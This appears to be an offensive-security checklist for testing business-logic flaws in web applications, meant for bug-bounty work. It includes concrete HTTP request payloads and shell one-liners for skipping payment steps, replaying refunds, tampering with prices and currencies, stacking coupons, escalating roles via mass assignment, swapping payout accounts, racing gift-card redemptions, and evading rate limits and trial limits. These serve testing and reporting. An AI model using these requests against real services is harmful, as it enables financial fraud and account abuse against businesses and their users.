Business Logic — Offensive Testing Methodology

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.

Quick Workflow

1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
2. For each transition, ask: who can call it, in what state, with what inputs, how many times
3. Probe each axis (state, identity, input, frequency) for assumptions
4. Combine flaws — single-axis flaws are usually low severity; chains are critical
5. Quantify financial impact per finding (loss-per-attack × scale)

Reconnaissance — Mapping the Logic

Build the State Machine

For each user flow, draw:

• States: cart, pending payment, paid, shipped, refunded, cancelled
• Transitions: which API/UI action, which role, which preconditions
• Side effects: balance change, inventory change, email, webhook

Look for transitions that:

• Skip intermediate states (cart → shipped without paid)
• Are reversible when they shouldn't be (shipped → cart)
• Trigger side effects more than once
• Allow cross-role invocation

Hidden / Internal Endpoints

bash
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'

Workflow / State-Machine Bypass

Skip a Required Step

http
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings

http
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }

Replay a One-Time Action

http
# Refund endpoint without idempotency
POST /api/orders/123/refund   # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund   # Second call: server checks "is order refunded?" — race the check (see TOCTOU)

State Downgrade

Move a finalized object back to an editable state where mutations have effect:

http
PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

Direct Endpoint Invocation

Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.

bash
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
  for v in GET POST PUT PATCH DELETE OPTIONS; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
    echo "$v $path $code"
  done
done | grep -v -E ' (401|403|404) '

Price / Quantity / Currency Manipulation

Negative / Zero / Float Quantities

http
POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

Hidden Price Fields

http
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }

If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.

Currency Confusion

http
POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?

Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.

Coupon / Discount Logic

http
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" }   # Stacks?
POST /api/cart/coupon { "code": "save50" }   # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " }  # Whitespace ditto?

# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 }   # If admin endpoint reachable

# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }

Cart Tampering

http
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT  /api/cart/items/abc { "sku": "macbook" }      # SKU swap with pen's price retained?

Refund / Chargeback / Payout Abuse

Refund More Than You Paid

http
POST /api/orders/123/refund { "amount": 99999 }

Refund After Returning Less

Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.

Convert Refund to Different Method

http
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold

Payout Account Race

http
PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

Identity / Tenant / Role Boundary

Role Confusion via Multipart / Parameter Pollution

http
POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

Tenant ID Substitution in Hidden Field

http
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order

Mass Assignment / Field Whitelist

http
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }

Test every field that exists on the model, not just those the form exposes.

Indirect Privilege via Object Linking

http
POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API

Race Conditions on Logic Boundaries

Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)

Single-Packet Multi-Request

python
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.

Common Logic Races

| Flow | Race | |------|------| | Coupon redemption | N parallel apply-coupon calls each see "unused" | | 2FA verification | Submit code N times in parallel before lockout counter increments | | Withdrawal | Parallel withdraws each see full balance | | Vote / Like / Reaction | "One per user" check raced | | Invitation acceptance | Multiple accepts → multiple seats granted | | Free-trial signup | Parallel signups → multiple trials per email | | Gift-card redeem | Parallel redeems → multi-spend a single card | | Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |

Amplification

python
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card

Anti-Automation / Fraud Defeat

Captcha / Rate Limit Bypass

| Bypass | Mechanic | |--------|----------| | Token reuse | One captcha solve, replay token across many requests | | Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not | | Header rotation | X-Forwarded-For: <random> resets per-IP counter | | HTTP/2 stream multiplexing | Each stream counted as same conn → window only | | Method/case variation | POST /Login vs POST /login keyed differently in cache |

Device Fingerprint / Velocity

• New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
• Velocity counters (5 logins/hour) often per (userid, ip) not per userid.
• Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).

Free Trial / Sign-Up Abuse

http
# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com         # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com         # Dots ignored on Gmail
attacker@googlemail.com                            # gmail/googlemail equivalence

# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install

Referral / Reward Loops

http
POST /api/refer { "email": "a@x.com" }   # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" }  # Repeat — many sign-ups, all same person

Subscription / Quota / Tier Abuse

Tier Downgrade Retains Premium Features

http
PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?

Mid-Cycle Quota Reset

http
PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle

Add-On Stacking

http
POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

Time-Based Logic

Time Travel via Headers

http
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800

Promotion Window

Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.

Token / Session Expiry

Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.

Combining Flaws — Where the Crits Live

Single-axis findings are interesting; chains are payouts.

Example chain (real, paid bounty):

1. Coupon stacking allows 100% off × 2 → negative total
2. Negative total → store credit issued (refund of "overpayment")
3. Store credit transferable to gift card
4. Gift card race condition → multiplied
5. Gift card redeemable on partner site for cash equivalents

Chain template:

• Find a thing the system gives you (credit, points, slot, seat)
• Find a way to multiply it (race, replay, stacking)
• Find a way to convert it to value (transfer, refund, payout)

Engagement Approach

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.

Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.

Reporting Hooks

Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:

• A diagram of the intended flow vs. the achieved flow
• A scripted PoC that runs end-to-end (no manual steps)
• A dollar value per execution and a feasibility statement for repeating it
• The fix at the right layer (state machine validator, not just input validation)

Key References

• OWASP WSTG-BUSL — Business Logic Testing chapter
• PortSwigger Web Security Academy: Business logic vulnerabilities track
• MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md